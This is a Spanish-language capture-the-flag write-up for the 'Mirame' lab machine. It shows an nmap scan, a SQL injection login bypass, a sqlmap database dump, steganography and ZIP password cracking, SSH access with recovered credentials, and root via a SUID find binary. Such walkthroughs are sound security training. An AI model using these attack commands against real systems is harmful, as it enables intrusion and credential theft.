> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/mirame-write-up.md).

# Mirame write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/5XSzMhndit34BNsQx0uW" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos la herramienta **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/YzszdbyKueeIRm5MYNFv" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que introducimos la IP de la máquina víctima en el navegador y nos encontramos con un login, así que vamos a probar la bypasearlo con la inyección `' or 1=1 -- -` y verificamos que funciona.

<figure><img src="/files/xvzRXH0YpKapNw5YuN7a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6KxhPnIM2lE9PTDlldSQ" alt=""><figcaption></figcaption></figure>

Como no encontramos información relevante, utilizamos la herramienta **SQLmap** para ver si podríamos obtener la base de datos mediante inyecciones SQL. Primero con el siguiente comando le decimos a **SQLmap** que nos liste los nombres de las distintas bases de datos:

```bash
sqlmap --url "http://172.17.0.2/" --forms -dbs --batch 
```

<figure><img src="/files/la3335ix6YQtpiFdjybk" alt=""><figcaption></figcaption></figure>

Como solo hay una base de datos, ya que la otras se crean de manera predeterminada volvemos a ejecutar el mismo comando pero esta vez con la función `--dump`:

```bash
sqlmap --url "http://172.17.0.2/" --forms -dbs --batch --dump 
```

<figure><img src="/files/R4WcQV0caJd5XiFd45ly" alt=""><figcaption></figcaption></figure>

En la base de datos encontramos un usuario llamado `directorio`, cuya contraseña es `directoriotravieso`, probamos acceder con esta contraseña como ruta en el navegador `http://172.17.0.2/directoriotravieso/`.

<figure><img src="/files/4HPQDWSMB9ZGiLztec84" alt=""><figcaption></figcaption></figure>

Aquí encontramos un directory listing el cual tiene la imagen [miramebien.jpg](http://172.17.0.2/directoriotravieso/miramebien.jpg), así que nos la descargamos con el siguiente comando:

```bash
wget http://172.17.0.2/directoriotravieso/miramebien.jpg
```

Una vez descargada vemos que no hay nada interesante en la imagen así que vamos a usar la herramienta de esteganografía **stegseek** para verificar si hay un archivo oculto mediante un ataque de fuerza bruta con el siguiente comando:

```bash
stegseek -wl ../rockyou.txt miramebien.jpg  
```

<figure><img src="/files/uw0f7vQ7ipgWQyM033Bz" alt=""><figcaption></figcaption></figure>

Esta salida indica que la imagen contenía un archivo ZIP oculto, el cual se extrajo como `miramebien.jpg.out`. Pero al intentar descomprimirla nos pide una contraseña, así que vamos a usar **zip2john** para obtener la contraseña hasheada con el siguiente comando:

<figure><img src="/files/ncbI7a3DpuQT1uTQAs1X" alt=""><figcaption></figcaption></figure>

```bash
zip2john miramebien.jpg.out > hash.txt   
```

Y ahora usamos **John The Ripper** para romper la contraseña mediante un ataque de fuerza bruta con el siguiente comando:

```bash
john --format=PKZIP --wordlist=/home/shinki/Escritorio/rockyou.txt hash.txt 
```

<figure><img src="/files/hUC9Bh31Z9AHsXlXGJEm" alt=""><figcaption></figcaption></figure>

Y nos indica que la contraseña del archivo zip es `stupid1`, así que ahora descomprimimos el archivo `miramebien.jpg.out` con el siguiente comando:

```bash
unzip miramebien.jpg.out
```

<figure><img src="/files/hRTXgx2R6Ywg3WKTKLp4" alt=""><figcaption></figcaption></figure>

Y nos descomprime el archivo `secret.txt`, el cual tiene la credencial `carlos:carlitos`, probamos usarlas para iniciar sesión en el servicio SSH.

<figure><img src="/files/wfxFJW1aI0Ak6QTl26ft" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `find / -perm -4000 2>/dev/null` el cual nos indica que podemos ejecutar el binario `find` como el propietario que en este casos es root.

<figure><img src="/files/irZ0hR2tmKYPKczoEXJm" alt=""><figcaption></figcaption></figure>

Así que vamos a ejecutar el siguiente comando para obtener una shell con privilegios elevados:

```bash
/usr/bin/find  . -exec /bin/bash -p \; -quit
```

<figure><img src="/files/476XHAq70pxfv7qGKkhi" alt=""><figcaption></figcaption></figure>
